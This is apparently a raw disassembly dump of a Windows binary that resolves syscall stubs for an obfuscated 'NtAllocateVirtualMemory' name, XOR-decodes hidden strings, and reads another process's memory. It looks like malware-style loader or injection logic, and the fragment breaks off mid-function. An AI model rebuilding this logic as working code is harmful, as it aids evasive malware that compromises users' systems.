lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x277f]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x2780]
mov rcx, qword [rbp + 0x3488]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d58167
lea rsi, [0x3a8ee9054]
jmp 0x3a8d5816e
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x294f]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x294f]
lea rax, [rbp + 0x2920]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x2900]
lea rdx, [rbp + 0x2920]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x28e0]
lea rdx, [rbp + 0x2900]
lea r8, [0x3a8ee908e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x28c0]
lea rdx, [rbp + 0x28e0]
lea r8, [0x3a8ee909a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x3a8ee908a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x3a8ee9088]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x3a8ee9040]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27c0]
lea r8, [0x3a8ee908a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x27a0]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x28e0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2900]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2920]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x294f]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x2950]
mov rcx, qword [rbp + 0x3480]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d5847e
lea rsi, [0x3a8ee9054]
jmp 0x3a8d58485
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x2bbf]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x2bbf]
lea rax, [rbp + 0x2b90]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b90]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b70]
lea r8, [0x3a8ee904e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b50]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b30]
lea r8, [0x3a8ee909a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x3a8ee9046]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x3a8ee90a0]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x3a8ee908e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2a50]
lea rdx, [rbp + 0x2a70]
lea r8, [0x3a8ee9098]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a50]
lea r8, [0x3a8ee9088]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2a10]
lea rdx, [rbp + 0x2a30]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x29f0]
lea rdx, [rbp + 0x2a10]
lea r8, [0x3a8ee9040]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x29d0]
lea rdx, [rbp + 0x29f0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x29b0]
lea rdx, [rbp + 0x29d0]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x29b0]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2970]
lea rdx, [rbp + 0x2990]
lea r8, [0x3a8ee908a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x2970]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x2970]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2990]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x29b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x29d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x29f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2a10]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2a30]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2b30]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2b50]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2b70]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2b90]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2bbf]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x2bc0]
mov rcx, qword [rbp + 0x3478]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d58871
lea rsi, [0x3a8ee9054]
jmp 0x3a8d58878
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x2e4f]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x2e4f]
lea rax, [rbp + 0x2e20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e20]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2e00]
lea r8, [0x3a8ee9086]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2de0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2da0]
lea rdx, [rbp + 0x2dc0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2da0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d80]
lea r8, [0x3a8ee9046]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2d40]
lea rdx, [rbp + 0x2d60]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2d20]
lea rdx, [rbp + 0x2d40]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2d20]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2ce0]
lea rdx, [rbp + 0x2d00]
lea r8, [0x3a8ee904c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2ce0]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2ca0]
lea rdx, [rbp + 0x2cc0]
lea r8, [0x3a8ee903c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2c80]
lea rdx, [rbp + 0x2ca0]
lea r8, [0x3a8ee904e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2c60]
lea rdx, [rbp + 0x2c80]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2c40]
lea rdx, [rbp + 0x2c60]
lea r8, [0x3a8ee9050]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2c20]
lea rdx, [rbp + 0x2c40]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2c00]
lea rdx, [rbp + 0x2c20]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x2be0]
lea rdx, [rbp + 0x2c00]
lea r8, [0x3a8ee9052]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x2be0]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x2be0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2c00]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2c20]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2c40]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2c60]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2c80]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2ca0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2ce0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2d00]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2d20]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2d80]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2da0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2dc0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2de0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2e00]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2e20]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x2e4f]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2e50]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x2e50]
mov rcx, qword [rbp + 0x3470]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x2e50]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d58c90
lea rsi, [0x3a8ee9054]
jmp 0x3a8d58c97
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
call fcn.3a8d51ac3
mov dword [rbp + 0x3428], 0xffffffff
cmp dword [rbp + 0x3428], 0
jne 0x3a8d58ce2
lea rax, [0x3a8ee90a2]
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x2e72]
lea rdx, [rbp + 0x2e7f]
mov rcx, rax
call fcn.3a8d51b6a
lea rax, [rbp + 0x2e72]
mov qword [rbp + 0x33c8], rax
mov rax, qword [rbp + 0x33c8]
mov qword [rbp + 0x33c0], rax
mov rax, qword [rbp + 0x33c0]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x3a8d58dbd
mov rax, qword [rbp + 0x33c8]
mov rdx, qword [rbp + 0x33c8]
mov qword [rbp + 0x33b8], rdx
mov qword [rbp + 0x33b0], rax
mov dword [rbp + 0x33ac], 0
jmp 0x3a8d58db3
mov eax, dword [rbp + 0x33ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x33b0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x33ac]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x33b8]
mov eax, dword [rbp + 0x33ac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x33ac], 1
cmp dword [rbp + 0x33ac], 0xc
jle 0x3a8d58d54
nop
lea rax, [rbp + 0x2e72]
mov rcx, rax
call fcn.3a8d51747
mov qword [rbp + 0x3420], rax
cmp qword [rbp + 0x3420], 0xffffffffffffffff
jne 0x3a8d58dec
mov ebx, 0
mov esi, 0
jmp 0x3a8d59f0c
lea rax, [rbp + 0x2e80]
lea rdx, [rbp + 0x2ebe]
mov rcx, rax
call fcn.3a8d51be4
lea rax, [rbp + 0x2e80]
mov qword [rbp + 0x33a0], rax
mov rax, qword [rbp + 0x33a0]
mov qword [rbp + 0x3398], rax
mov rax, qword [rbp + 0x3398]
movzx eax, byte [rax + 0x3c]
test al, al
setne al
test al, al
je 0x3a8d58ec7
mov rax, qword [rbp + 0x33a0]
mov rdx, qword [rbp + 0x33a0]
mov qword [rbp + 0x3390], rdx
mov qword [rbp + 0x3388], rax
mov dword [rbp + 0x3384], 0
jmp 0x3a8d58ebd
mov eax, dword [rbp + 0x3384]
movsxd rdx, eax
mov rax, qword [rbp + 0x3388]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x3384]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3390]
mov eax, dword [rbp + 0x3384]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3384], 1
cmp dword [rbp + 0x3384], 0x3c
jle 0x3a8d58e5e
nop
lea rdx, [rbp + 0x2e80]
lea rax, [rbp + 0x340]
mov rcx, qword [rbp + 0x3420]
mov r8, rcx
mov rcx, rax
call fcn.3a8d51907
mov rax, qword [rbp + 0x340]
cmp rax, 0xffffffffffffffff
je 0x3a8d58f01
mov rax, qword [rbp + 0x348]
cmp rax, 0xffffffffffffffff
jne 0x3a8d58f10
mov ebx, 0
mov esi, 0
jmp 0x3a8d59f0c
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x3418], rax
mov rax, qword [rbp + 0x348]
mov qword [rbp + 0x3410], rax
mov r10, qword [0x3a8f15058]
lea rcx, [rbp + 0x310]
mov rax, qword [rbp + 0x3418]
lea rdx, [rbp + 0x30c]
mov qword [rsp + 0x20], rdx
mov r9d, 0x30
mov r8, rcx
mov edx, 0
mov rcx, rax
call r10
mov dword [rbp + 0x3428], eax
cmp dword [rbp + 0x3428], 0
je 0x3a8d59003
lea rax, [rbp + 0x2ec0]
lea rdx, [rbp + 0x2ebf]
mov rcx, rax
call fcn.3a8d51dde
mov rax, qword [rbp + 0x2ec0]
mov rdx, qword [rbp + 0x2ec8]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2ed0]
mov rdx, qword [rbp + 0x2ed8]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x2ee0]
mov rdx, qword [rbp + 0x2ee8]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
mov rax, qword [rbp + 0x2eef]
mov rdx, qword [rbp + 0x2ef7]
mov qword [rbp + 0x3f], rax
mov qword [rbp + 0x47], rdx
mov edx, dword [rbp + 0x3428]
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.3a8d6fc20
mov ebx, 0
mov esi, 0
jmp 0x3a8d59f0c
lea rax, [rbp + 0x2f00]
lea rdx, [rbp + 0x2eff]
mov rcx, rax
call fcn.3a8d51fe8
mov rax, qword [rbp + 0x2f00]
mov rdx, qword [rbp + 0x2f08]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2f10]
mov rdx, qword [rbp + 0x2f18]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x2f20]
mov rdx, qword [rbp + 0x2f28]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
mov rax, qword [rbp + 0x2f2d]
mov rdx, qword [rbp + 0x2f35]
mov qword [rbp + 0x3d], rax
mov qword [rbp + 0x45], rdx
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.3a8d6fb50
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x3408], rax
mov rax, qword [rbp + 0x3408]
add rax, 0x10
mov qword [rbp + 0x3400], rax
mov rax, qword [rbp + 0x3400]
mov qword [rbp + 0x33f8], rax
lea rax, [rbp + 0x2f0]
lea rdx, [rbp + 0x2f3d]
mov rcx, rax
call fcn.3a8d521e2
mov r8, qword [rbp + 0x318]
lea rax, [rbp + 0x2f0]
mov qword [rbp + 0x3378], rax
mov rax, qword [rbp + 0x3378]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x3a8d5917f
lea rax, [rbp + 0x2f0]
lea rdx, [rbp + 0x2f0]
mov qword [rbp + 0x3370], rdx
mov qword [rbp + 0x3368], rax
mov dword [rbp + 0x3364], 0
jmp 0x3a8d59175
mov eax, dword [rbp + 0x3364]
movsxd rdx, eax
mov rax, qword [rbp + 0x3368]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x3364]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x3370]
mov eax, dword [rbp + 0x3364]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3364], 1
cmp dword [rbp + 0x3364], 0x13
jle 0x3a8d59116
nop
lea rax, [rbp + 0x2f0]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.3a8d51370
mov dword [rbp + 0x3360], 0
jmp 0x3a8d591bb
mov eax, dword [rbp + 0x3360]
cdqe
mov byte [rbp + rax + 0x2f0], 0
add dword [rbp + 0x3360], 1
cmp dword [rbp + 0x3360], 0x13
jle 0x3a8d591a4
nop
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x2f3e]
mov rcx, rax
call fcn.3a8d52294
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x3358], rax
mov rax, qword [rbp + 0x3358]
movzx eax, byte [rax + 0x15]
test al, al
setne al
test al, al
je 0x3a8d59292
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x2d0]
mov qword [rbp + 0x3350], rdx
mov qword [rbp + 0x3348], rax
mov dword [rbp + 0x3344], 0
jmp 0x3a8d59288
mov eax, dword [rbp + 0x3344]
movsxd rdx, eax
mov rax, qword [rbp + 0x3348]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x3344]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3350]
mov eax, dword [rbp + 0x3344]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3344], 1
cmp dword [rbp + 0x3344], 0x15
jle 0x3a8d59229
nop
lea rax, [rbp + 0x2d0]
mov rdx, qword [rbp + 0x33f8]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.3a8d51370
mov dword [rbp + 0x3340], 0
jmp 0x3a8d592d8
mov eax, dword [rbp + 0x3340]
cdqe
mov byte [rbp + rax + 0x2d0], 0
add dword [rbp + 0x3340], 1
cmp dword [rbp + 0x3340], 0x15
jle 0x3a8d592c1
nop
mov r10, qword [0x3a8f15060]
lea r8, [rbp + 0x2c8]
mov rdx, qword [rbp + 0x33f8]
mov rax, qword [rbp + 0x3418]
lea rcx, [rbp + 0xb8]
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
call r10
mov dword [rbp + 0x3428], eax
cmp dword [rbp + 0x3428], 0
je 0x3a8d593c2
lea rax, [rbp + 0x2f40]
lea rdx, [rbp + 0x2f3f]
mov rcx, rax
call fcn.3a8d52356
mov rax, qword [rbp + 0x2f40]
mov rdx, qword [rbp + 0x2f48]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2f50]
mov rdx, qword [rbp + 0x2f58]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2f60]
mov rdx, qword [rbp + 0x2f68]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2f70]
mov rdx, qword [rbp + 0x2f78]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x2f80]
mov byte [rbp], al
mov edx, dword [rbp + 0x3428]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d6fcf0
mov ebx, 0
mov esi, 0
jmp 0x3a8d59f0c
lea rax, [rbp + 0x2f90]
lea rdx, [rbp + 0x2f8f]
mov rcx, rax
call fcn.3a8d52570
mov rax, qword [rbp + 0x2f90]
mov rdx, qword [rbp + 0x2f98]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2fa0]
mov rdx, qword [rbp + 0x2fa8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2fb0]
mov rdx, qword [rbp + 0x2fb8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2fba]
mov rdx, qword [rbp + 0x2fc2]
mov qword [rbp - 0x16], rax
mov qword [rbp - 0xe], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d6fa80
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0x2fce]
mov rcx, rax
call fcn.3a8d52752
mov r8, qword [rbp + 0x2c8]
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x3338], rax
mov rax, qword [rbp + 0x3338]
movzx eax, byte [rax + 0x12]
test al, al
setne al
test al, al
je 0x3a8d59510
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0xa0]
mov qword [rbp + 0x3330], rdx
mov qword [rbp + 0x3328], rax
mov dword [rbp + 0x3324], 0
jmp 0x3a8d59506
mov eax, dword [rbp + 0x3324]
movsxd rdx, eax
mov rax, qword [rbp + 0x3328]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x3324]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x3330]
mov eax, dword [rbp + 0x3324]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3324], 1
cmp dword [rbp + 0x3324], 0x12
jle 0x3a8d594a7
nop
lea rax, [rbp + 0xa0]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.3a8d51370
mov dword [rbp + 0x3320], 0
jmp 0x3a8d5954c
mov eax, dword [rbp + 0x3320]
cdqe
mov byte [rbp + rax + 0xa0], 0
add dword [rbp + 0x3320], 1
cmp dword [rbp + 0x3320], 0x12
jle 0x3a8d59535
nop
mov rax, qword [rbp + 0x2c8]
mov qword [rbp + 0x33f0], rax
mov r10, qword [0x3a8f15060]
lea r8, [rbp + 0xc0]
mov rdx, qword [rbp + 0x33f0]
